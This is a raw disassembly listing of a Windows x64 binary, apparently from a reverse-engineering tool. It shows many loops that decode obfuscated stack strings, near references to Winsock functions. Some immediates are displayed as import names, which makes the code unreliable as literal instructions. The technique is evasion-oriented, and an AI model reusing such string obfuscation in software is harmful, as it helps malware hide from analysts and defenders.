lea ebx, [rcx + rdx]
add ebx, 0xfffff67c
add ecx, edx
movsx edx, bx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff67c
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xfffff67c
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa69], cl
add rax, 1
cmp rax, 0x10
jne 0x14001f7c0
lea rax, [rbp + 0xa69]
mov qword [rbp + 0x368], rax
mov byte [rbp + 0xb58], 0
mov byte [rbp + 0xb59], shutdown
mov byte [rbp + 0xb5a], 0x7c
mov byte [rbp + 0xb5b], 0x55
mov byte [rbp + 0xb5c], 0x7c
mov byte [rbp + 0xb5d], 0x60
mov byte [rbp + 0xb5e], 0x7c
mov byte [rbp + 0xb5f], 0x63
mov byte [rbp + 0xb60], 0x7c
mov byte [rbp + 0xb61], 0x77
mov byte [rbp + 0xb62], 0x7c
mov byte [rbp + 0xb63], 0x7c
mov byte [rbp + 0xb64], 0x7c
mov al, byte [rbp + 0xb58]
test al, 1
jne 0x14001f93a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xb59]
movzx ecx, cl
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0x15cc
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x15cc
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x15cc
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb59], cl
add rax, 1
cmp rax, 0xc
jne 0x14001f8c0
lea rax, [rbp + 0xb59]
mov qword [rbp + 0x370], rax
mov byte [rbp + 0xb38], 0
mov byte [rbp + 0xb39], 0x23
mov byte [rbp + 0xb3a], WSAGetLastError
mov byte [rbp + 0xb3b], gethostname
mov byte [rbp + 0xb3c], WSAGetLastError
mov byte [rbp + 0xb3d], 2
mov byte [rbp + 0xb3e], WSAGetLastError
mov byte [rbp + 0xb3f], 0x7d
mov byte [rbp + 0xb40], WSAGetLastError
mov byte [rbp + 0xb41], WSAGetLastError
mov byte [rbp + 0xb42], WSAGetLastError
lea rcx, [rbp + 0xb38]
call fcn.140023fe0
mov qword [rbp + 0x378], rax
mov byte [rbp + 0xa80], 0
mov byte [rbp + 0xa81], 0xa
mov byte [rbp + 0xa82], 0x48
mov byte [rbp + 0xa83], 0x29
mov byte [rbp + 0xa84], 0x48
mov byte [rbp + 0xa85], 0x29
mov byte [rbp + 0xa86], 0x48
mov byte [rbp + 0xa87], 0x43
mov byte [rbp + 0xa88], 0x48
mov byte [rbp + 0xa89], 0xa
mov byte [rbp + 0xa8a], 0x48
mov byte [rbp + 0xa8b], 0x75
mov byte [rbp + 0xa8c], 0x48
mov byte [rbp + 0xa8d], 0xa
mov byte [rbp + 0xa8e], 0x48
mov byte [rbp + 0xa8f], 0x48
mov byte [rbp + 0xa90], 0x48
mov al, byte [rbp + 0xa80]
test al, 1
jne 0x14001faa6
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0xa81]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x5a0
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x5a0
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa81], cl
add rax, 1
cmp rax, 0x10
jne 0x14001fa30
lea rax, [rbp + 0xa81]
mov qword [rbp + 0x380], rax
mov byte [rbp + 0x8b8], 0
mov byte [rbp + 0x8b9], 0x59
mov byte [rbp + 0x8ba], 0x43
mov byte [rbp + 0x8bb], 0x4e
mov byte [rbp + 0x8bc], 0x43
mov byte [rbp + 0x8bd], 0x4e
mov byte [rbp + 0x8be], 0x43
mov byte [rbp + 0x8bf], 0x40
mov byte [rbp + 0x8c0], 0x43
mov byte [rbp + 0x8c1], 0x75
mov byte [rbp + 0x8c2], 0x43
mov byte [rbp + 0x8c3], 0x60
mov byte [rbp + 0x8c4], 0x43
mov byte [rbp + 0x8c5], 0x59
mov byte [rbp + 0x8c6], 0x43
mov byte [rbp + 0x8c7], 0x5c
mov byte [rbp + 0x8c8], 0x43
mov byte [rbp + 0x8c9], 0x75
mov byte [rbp + 0x8ca], 0x43
mov byte [rbp + 0x8cb], inet_ntoa
mov byte [rbp + 0x8cc], 0x43
mov byte [rbp + 0x8cd], 0x47
mov byte [rbp + 0x8ce], 0x43
mov byte [rbp + 0x8cf], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x8d0], 0x43
mov byte [rbp + 0x8d1], 0x24
mov byte [rbp + 0x8d2], 0x43
mov byte [rbp + 0x8d3], 0x59
mov byte [rbp + 0x8d4], 0x43
mov byte [rbp + 0x8d5], 0x5c
mov byte [rbp + 0x8d6], 0x43
mov byte [rbp + 0x8d7], 0x59
mov byte [rbp + 0x8d8], 0x43
mov byte [rbp + 0x8d9], 0x43
mov byte [rbp + 0x8da], 0x43
mov al, byte [rbp + 0x8b8]
test al, 1
jne 0x14001fc36
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x8b9]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*8]
mov edx, 0x96c
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x96c
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x8b9], cl
add rax, 1
cmp rax, 0x22
jne 0x14001fbc0
lea rax, [rbp + 0x8b9]
mov qword [rbp + 0x388], rax
mov byte [rbp + 0xb48], 0
mov byte [rbp + 0xb49], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb4a], 6
mov byte [rbp + 0xb4b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb4c], 6
mov byte [rbp + 0xb4d], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb4e], 6
mov byte [rbp + 0xb4f], gethostname
mov byte [rbp + 0xb50], 6
mov byte [rbp + 0xb51], 6
mov byte [rbp + 0xb52], 6
lea rcx, [rbp + 0xb48]
call fcn.1400244b0
mov qword [rbp + 0x390], rax
mov byte [rbp + 0xaf8], 0
mov byte [rbp + 0xaf9], gethostbyname
mov byte [rbp + 0xafa], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xafb], 8
mov byte [rbp + 0xafc], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xafd], 8
mov byte [rbp + 0xafe], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xaff], gethostbyname
mov byte [rbp + 0xb00], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb01], 0x66
mov byte [rbp + 0xb02], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb03], 0x19
mov byte [rbp + 0xb04], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb05], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xb06], reloc.WS2_32.dll_gethostname
mov al, byte [rbp + 0xaf8]
test al, 1
jne 0x14001fd9a
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xaf9]
movzx ecx, cl
imul ecx, ecx, 0xffffffe9
mov edx, ecx
add edx, 0x51f
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x51f
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x51f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xaf9], cl
add rax, 1
cmp rax, 0xe
jne 0x14001fd20
lea rax, [rbp + 0xaf9]
mov qword [rbp + 0x398], rax
mov byte [rbp + 0xa98], 0
mov byte [rbp + 0xa99], 0x7b
mov byte [rbp + 0xa9a], 0xa
mov byte [rbp + 0xa9b], gethostname
mov byte [rbp + 0xa9c], 0xa
mov byte [rbp + 0xa9d], 0x77
mov byte [rbp + 0xa9e], 0xa
mov byte [rbp + 0xa9f], 7
mov byte [rbp + 0xaa0], 0xa
mov byte [rbp + 0xaa1], 0x5e
mov byte [rbp + 0xaa2], 0xa
mov byte [rbp + 0xaa3], 0x5e
mov byte [rbp + 0xaa4], 0xa
mov byte [rbp + 0xaa5], 0x1d
mov byte [rbp + 0xaa6], 0xa
mov byte [rbp + 0xaa7], 0xa
mov byte [rbp + 0xaa8], 0xa
mov al, byte [rbp + 0xa98]
test al, 1
jne 0x14001feaa
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0xa99]
movzx ecx, cl
imul ecx, ecx, 0xffffffdd
mov edx, ecx
add edx, 0x15e
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x15e
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x15e
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa99], cl
add rax, 1
cmp rax, 0x10
jne 0x14001fe30
lea rax, [rbp + 0xa99]
mov qword [rbp + 0x3a0], rax
mov byte [rbp + 0xa28], 0
mov byte [rbp + 0xa29], 3
mov byte [rbp + 0xa2a], 0x21
mov byte [rbp + 0xa2b], 7
mov byte [rbp + 0xa2c], 0x21
mov byte [rbp + 0xa2d], 1
mov byte [rbp + 0xa2e], 0x21
mov byte [rbp + 0xa2f], WSACleanup
mov byte [rbp + 0xa30], 0x21
mov byte [rbp + 0xa31], 7
mov byte [rbp + 0xa32], 0x21
mov byte [rbp + 0xa33], 0x64
mov byte [rbp + 0xa34], 0x21
mov byte [rbp + 0xa35], 0x7c
mov byte [rbp + 0xa36], 0x21
mov byte [rbp + 0xa37], 0x61
mov byte [rbp + 0xa38], 0x21
mov byte [rbp + 0xa39], WSACleanup
mov byte [rbp + 0xa3a], 0x21
mov byte [rbp + 0xa3b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xa3c], 0x21
mov byte [rbp + 0xa3d], 0x7a
mov byte [rbp + 0xa3e], 0x21
mov byte [rbp + 0xa3f], WSAGetLastError
mov byte [rbp + 0xa40], 0x21
mov byte [rbp + 0xa41], 9
mov byte [rbp + 0xa42], 0x21
mov byte [rbp + 0xa43], 0x21
mov byte [rbp + 0xa44], 0x21
mov al, byte [rbp + 0xa28]
test al, 1
jne 0x140020026
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xa29]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0x81f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0x81f
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0x81f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xa29], cl
add rax, 1
cmp rax, 0x1c
jne 0x14001ffa0
lea rax, [rbp + 0xa29]
mov qword [rbp + 0x3a8], rax
mov byte [rbp + 0x718], 0
mov byte [rbp + 0x719], gethostbyname
mov byte [rbp + 0x71a], 0x2a
mov byte [rbp + 0x71b], 0x7e
mov byte [rbp + 0x71c], 0x2a
mov byte [rbp + 0x71d], 0x4d
mov byte [rbp + 0x71e], 0x2a
mov byte [rbp + 0x71f], 0x1f
mov byte [rbp + 0x720], 0x2a
mov byte [rbp + 0x721], 0x7e
mov byte [rbp + 0x722], 0x2a
mov byte [rbp + 0x723], 0x3c
mov byte [rbp + 0x724], 0x2a
mov byte [rbp + 0x725], 2
mov byte [rbp + 0x726], 0x2a
mov byte [rbp + 0x727], 0x63
mov byte [rbp + 0x728], 0x2a
mov byte [rbp + 0x729], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x72a], 0x2a
mov byte [rbp + 0x72b], WSAGetLastError
mov byte [rbp + 0x72c], 0x2a
mov byte [rbp + 0x72d], 0x1c
mov byte [rbp + 0x72e], 0x2a
mov byte [rbp + 0x72f], 0x53
mov byte [rbp + 0x730], 0x2a
mov byte [rbp + 0x731], 0x64
mov byte [rbp + 0x732], 0x2a
mov byte [rbp + 0x733], 0x63
mov byte [rbp + 0x734], 0x2a
mov byte [rbp + 0x735], shutdown
mov byte [rbp + 0x736], 0x2a
mov byte [rbp + 0x737], 0x61
mov byte [rbp + 0x738], 0x2a
mov byte [rbp + 0x739], WSACleanup
mov byte [rbp + 0x73a], 0x2a
mov byte [rbp + 0x73b], 0x23
mov byte [rbp + 0x73c], 0x2a
mov byte [rbp + 0x73d], 0x77
mov byte [rbp + 0x73e], 0x2a
mov byte [rbp + 0x73f], 0x2a
mov byte [rbp + 0x740], 0x2a
mov al, byte [rbp + 0x718]
test al, 1
jne 0x1400201ea
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x719]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x738
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x738
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x738
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x719], cl
add rax, 1
cmp rax, 0x28
jne 0x140020170
lea rax, [rbp + 0x719]
mov qword [rbp + 0x3b0], rax
mov byte [rbp + 0x968], 0
mov byte [rbp + 0x969], 0x4e
mov byte [rbp + 0x96a], 0x4f
mov byte [rbp + 0x96b], WSACleanup
mov byte [rbp + 0x96c], 0x4f
mov byte [rbp + 0x96d], 0x3d
mov byte [rbp + 0x96e], 0x4f
mov byte [rbp + 0x96f], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x970], 0x4f
mov byte [rbp + 0x971], WSACleanup
mov byte [rbp + 0x972], 0x4f
mov byte [rbp + 0x973], 0x4d
mov byte [rbp + 0x974], 0x4f
mov byte [rbp + 0x975], 0x1b
mov byte [rbp + 0x976], 0x4f
mov byte [rbp + 0x977], 1
mov byte [rbp + 0x978], 0x4f
mov byte [rbp + 0x979], 0x4d
mov byte [rbp + 0x97a], 0x4f
mov byte [rbp + 0x97b], shutdown
mov byte [rbp + 0x97c], 0x4f
mov byte [rbp + 0x97d], 0x4d
mov byte [rbp + 0x97e], 0x4f
mov byte [rbp + 0x97f], 0x4f
mov byte [rbp + 0x980], 0x4f
mov al, byte [rbp + 0x968]
test al, 1
jne 0x14002033e
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x969]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rcx*2]
add ecx, 0xfffffb5f
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffb5f
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffffb5f
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x969], cl
add rax, 1
cmp rax, 0x18
jne 0x1400202c0
lea rax, [rbp + 0x969]
mov qword [rbp + 0x3b8], rax
mov byte [rbp + 0xb88], 0
mov byte [rbp + 0xb89], 1
mov byte [rbp + 0xb8a], 0x3c
mov byte [rbp + 0xb8b], 0x5e
mov byte [rbp + 0xb8c], 0x3c
mov byte [rbp + 0xb8d], 1
mov byte [rbp + 0xb8e], 0x3c
mov byte [rbp + 0xb8f], 0x50
mov byte [rbp + 0xb90], 0x3c
mov byte [rbp + 0xb91], 0x26
mov byte [rbp + 0xb92], 0x3c
mov byte [rbp + 0xb93], 0x23
mov byte [rbp + 0xb94], 0x3c
mov byte [rbp + 0xb95], gethostbyname
mov byte [rbp + 0xb96], 0x3c
mov byte [rbp + 0xb97], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb98], 0x3c
mov byte [rbp + 0xb99], 0x42
mov byte [rbp + 0xb9a], 0x3c
mov byte [rbp + 0xb9b], 0x53
mov byte [rbp + 0xb9c], 0x3c
mov byte [rbp + 0xb9d], 0x20
mov byte [rbp + 0xb9e], 0x3c
mov byte [rbp + 0xb9f], 0x23
mov byte [rbp + 0xba0], 0x3c
mov byte [rbp + 0xba1], 0x26
mov byte [rbp + 0xba2], 0x3c
mov byte [rbp + 0xba3], gethostbyname
mov byte [rbp + 0xba4], 0x3c
mov byte [rbp + 0xba5], 0x64
mov byte [rbp + 0xba6], 0x3c
mov byte [rbp + 0xba7], WSACleanup
mov byte [rbp + 0xba8], 0x3c
mov byte [rbp + 0xba9], 0x75
mov byte [rbp + 0xbaa], 0x3c
mov byte [rbp + 0xbab], 0x42
mov byte [rbp + 0xbac], 0x3c
mov byte [rbp + 0xbad], gethostbyname
mov byte [rbp + 0xbae], 0x3c
mov byte [rbp + 0xbaf], 0x23
mov byte [rbp + 0xbb0], 0x3c
mov byte [rbp + 0xbb1], 0x67
mov byte [rbp + 0xbb2], 0x3c
mov byte [rbp + 0xbb3], 0x50
mov byte [rbp + 0xbb4], 0x3c
mov byte [rbp + 0xbb5], 0x64
mov byte [rbp + 0xbb6], 0x3c
mov byte [rbp + 0xbb7], 0x42
mov byte [rbp + 0xbb8], 0x3c
mov byte [rbp + 0xbb9], WSACleanup
mov byte [rbp + 0xbba], 0x3c
mov byte [rbp + 0xbbb], 0x3c
mov byte [rbp + 0xbbc], 0x3c
mov al, byte [rbp + 0xb88]
test al, 1
jne 0x14002054a
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0xb89]
movzx ecx, cl
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0xa8c
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xa8c
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xa8c
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb89], cl
add rax, 1
cmp rax, 0x34
jne 0x1400204d0
mov qword [rbp + 0x3c0], r13
mov byte [rbp + 0x690], 0
mov byte [rbp + 0x691], 3
mov byte [rbp + 0x692], 0x1b
mov byte [rbp + 0x693], 0x60
mov byte [rbp + 0x694], 0x1b
mov byte [rbp + 0x695], 0x5b
mov byte [rbp + 0x696], 0x1b
mov byte [rbp + 0x697], shutdown
mov byte [rbp + 0x698], 0x1b
mov byte [rbp + 0x699], 0x21
mov byte [rbp + 0x69a], 0x1b
mov byte [rbp + 0x69b], 0x5b
mov byte [rbp + 0x69c], 0x1b
mov byte [rbp + 0x69d], 0x60
mov byte [rbp + 0x69e], 0x1b
mov byte [rbp + 0x69f], 0x7d
mov byte [rbp + 0x6a0], 0x1b
mov byte [rbp + 0x6a1], gethostbyname
mov byte [rbp + 0x6a2], 0x1b
mov byte [rbp + 0x6a3], 0x1c
mov byte [rbp + 0x6a4], 0x1b
mov byte [rbp + 0x6a5], 0x5b
mov byte [rbp + 0x6a6], 0x1b
mov byte [rbp + 0x6a7], 0x1b
mov byte [rbp + 0x6a8], 0x1b
mov al, byte [rbp + 0x690]
test al, 1
jne 0x14002068a
xor eax, eax
movzx ecx, byte [rbp + rax + 0x691]
movzx ecx, cl
imul ecx, ecx, 0xffffffe6
mov edx, ecx
add edx, 0x2be
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x2be
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x2be
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x691], cl
add rax, 1
cmp rax, 0x18
jne 0x140020610
lea rax, [rbp + 0x691]
mov qword [rbp + 0x3c8], rax
mov byte [rbp + 0x6b0], 0
mov byte [rbp + 0x6b1], gethostname
mov byte [rbp + 0x6b2], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6b3], 0x51
mov byte [rbp + 0x6b4], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6b5], WSAGetLastError
mov byte [rbp + 0x6b6], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6b7], gethostname
mov byte [rbp + 0x6b8], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6b9], 0x58
mov byte [rbp + 0x6ba], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6bb], gethostname
mov byte [rbp + 0x6bc], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6bd], 8
mov byte [rbp + 0x6be], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6bf], 0x76
mov byte [rbp + 0x6c0], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c1], 0x58
mov byte [rbp + 0x6c2], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c3], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x6c4], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c5], gethostname
mov byte [rbp + 0x6c6], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c7], reloc.WS2_32.dll_shutdown
mov byte [rbp + 0x6c8], reloc.WS2_32.dll_shutdown
mov al, byte [rbp + 0x6b0]
test al, 1
jne 0x1400207de
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0x6b1]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea ebx, [rcx + rdx*2]
lea ecx, [rcx + rdx*2]
add ecx, 0xfffffe5e
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffffe5e
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffffe5e
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x6b1], cl
add rax, 1
cmp rax, 0x18
jne 0x140020760
lea rax, [rbp + 0x6b1]
mov qword [rbp + 0x3d0], rax
mov byte [rbp + 0xb68], 0
mov byte [rbp + 0xb69], 0xa
mov byte [rbp + 0xb6a], 0x57
mov byte [rbp + 0xb6b], 0x5b
mov byte [rbp + 0xb6c], 0x57
mov byte [rbp + 0xb6d], WSACleanup
mov byte [rbp + 0xb6e], 0x57
mov byte [rbp + 0xb6f], 0x7b
mov byte [rbp + 0xb70], 0x57
mov byte [rbp + 0xb71], 0x54
mov byte [rbp + 0xb72], 0x57
mov byte [rbp + 0xb73], 0x57
mov byte [rbp + 0xb74], 0x57
mov al, byte [rbp + 0xb68]
test al, 1
jne 0x1400208d6
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [rbp + rax + 0xb69]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*8]
mov edx, 0xc3c
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0xc3c
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb69], cl
add rax, 1
cmp rax, 0xc
jne 0x140020860
lea rax, [rbp + 0xb69]
mov qword [rbp + 0x3d8], rax
mov byte [rbp + 0x988], 0
mov byte [rbp + 0x989], 0
mov byte [rbp + 0x98a], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x98b], 4
mov byte [rbp + 0x98c], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x98d], 0x56
mov byte [rbp + 0x98e], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x98f], 0x4e
mov byte [rbp + 0x990], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x991], 0x77
mov byte [rbp + 0x992], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x993], 0x4e
mov byte [rbp + 0x994], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x995], 0x27
mov byte [rbp + 0x996], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x997], 0x25
mov byte [rbp + 0x998], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x999], reloc.WS2_32.dll_inet_ntoa
mov byte [rbp + 0x99a], reloc.WS2_32.dll_inet_ntoa
mov al, byte [rbp + 0x988]
test al, 1
jne 0x1400209fa
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x989]
movzx ecx, cl
imul ecx, ecx, 0xffffffc2
mov edx, ecx
add edx, 0x2e8
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x2e8
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x2e8
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x989], cl
add rax, 1
cmp rax, 0x12
jne 0x140020980
lea rax, [rbp + 0x989]
mov qword [rbp + 0x3e0], rax
mov byte [rbp + 0x9a0], 0
mov byte [rbp + 0x9a1], 0x21
mov byte [rbp + 0x9a2], 0x5b
mov byte [rbp + 0x9a3], WSAGetLastError
mov byte [rbp + 0x9a4], 0x5b
mov byte [rbp + 0x9a5], 0x64
mov byte [rbp + 0x9a6], 0x5b
mov byte [rbp + 0x9a7], 0x4f
mov byte [rbp + 0x9a8], 0x5b
mov byte [rbp + 0x9a9], 0x1a
mov byte [rbp + 0x9aa], 0x5b
mov byte [rbp + 0x9ab], 0x3f
mov byte [rbp + 0x9ac], 0x5b
mov byte [rbp + 0x9ad], gethostbyname
mov byte [rbp + 0x9ae], 0x5b
mov byte [rbp + 0x9af], 0x46
